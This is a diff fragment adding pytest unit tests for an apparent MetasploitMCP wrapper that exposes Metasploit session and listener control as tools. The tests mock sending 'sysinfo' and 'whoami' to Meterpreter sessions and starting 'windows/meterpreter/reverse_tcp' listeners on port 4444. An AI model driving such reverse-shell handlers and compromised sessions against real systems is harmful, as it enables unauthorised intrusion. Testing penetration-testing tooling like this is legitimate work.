+ @pytest.mark.asyncio + async def test_list_active_sessions(self, mock_session_environment): + """Test listing active sessions.""" + client, session = mock_session_environment + + result = await list_active_sessions() + + assert result["status"] == "success" + assert result["count"] == 2 + assert "1" in result["sessions"] + assert "2" in result["sessions"] + + @pytest.mark.asyncio + async def test_send_session_command_meterpreter(self, mock_session_environment): + """Test sending command to Meterpreter session.""" + client, session = mock_session_environment + + result = await send_session_command(1, "sysinfo") + + assert result["status"] == "success" + session.run_with_output.assert_called_once_with("sysinfo") + + @pytest.mark.asyncio + async def test_send_session_command_nonexistent(self, mock_session_environment): + """Test sending command to non-existent session.""" + client, session = mock_session_environment + client.sessions.list.return_value = {} # No sessions + + result = await send_session_command(999, "whoami") + + assert result["status"] == "error" + assert "not found" in result["message"] + + @pytest.mark.asyncio + async def test_terminate_session(self, mock_session_environment): + """Test session termination.""" + client, session = mock_session_environment + + # Mock session disappearing after termination + client.sessions.list.side_effect = [ + {"1": {"type": "meterpreter"}}, # Before termination + {} # After termination + ] + + result = await terminate_session(1) + + assert result["status"] == "success" + session.stop.assert_called_once() + + +class TestListenerManagement: + """Test listener and job management functionality.""" + + @pytest.fixture + def mock_job_environment(self): + """Fixture providing mocked job management environment.""" + client = MockMsfRpcClient() + + # Override the default Mock with actual dict return values + client.jobs.list = Mock(return_value={}) + client.jobs.stop = Mock(return_value="stopped") + + with patch('MetasploitMCP.get_msf_client', return_value=client): + with patch('MetasploitMCP._execute_module_rpc') as mock_rpc: + mock_rpc.return_value = { + "status": "success", + "job_id": 1234, + "message": "Listener started" + } + yield client, mock_rpc + + @pytest.mark.asyncio + async def test_start_listener_dict_options(self, mock_job_environment): + """Test starting listener with dictionary additional options.""" + client, mock_rpc = mock_job_environment + + result = await start_listener( + payload_type="windows/meterpreter/reverse_tcp", + lhost="192.168.1.100", + lport=4444, + additional_options={"ExitOnSession": True} + ) + + assert result["status"] == "success" + assert "job" in result["message"] + + @pytest.mark.asyncio + async def test_start_listener_string_options(self, mock_job_environment): + """Test starting listener with string additional options.""" + client, mock_rpc = mock_job_environment + + result = await start_listener( + payload_type="windows/meterpreter/reverse_tcp", + lhost="192.168.1.100", + lport=4444, + additional_options="ExitOnSession=true,Verbose=false" + ) + + assert result["status"] == "success" + # Verify RPC was called with parsed options + call_args = mock_rpc.call_args + payload_spec = call_args[1]['payload_spec'] + assert payload_spec['options']['ExitOnSession'] is True + assert payload_spec['options']['Verbose'] is False + + @pytest.mark.asyncio + async def test_start_listener_invalid_port(self, mock_job_environment): + """Test starting listener with invalid port.""" + client, mock_rpc = mock_job_environment + + result = await start_listener( + payload_type="windows/meterpreter/reverse_tcp", + lhost="192.168.1.100", + lport=99999 # Invalid port + ) + + assert result["status"] == "error" + assert "Invalid LPORT" in result["message"] + + @pytest.mark.asyncio + async def test_stop_job(self, mock_job_environment): + """Test stopping a job.""" + client, mock_rpc = mock_job_environment + + # Mock job exists before stop, gone after stop + client.jobs.list.side_effect = [ + {"1234": {"name": "Handler Job"}}, # Before stop + {} # After stop + ] + client.jobs.stop.return_value = "stopped" + + result = await stop_job(1234) + + assert result["status"] == "success" + client.jobs.stop.assert_called_once_with("1234") + + +if __name__ == "__main__": + pytest.main([__file__, "-v"])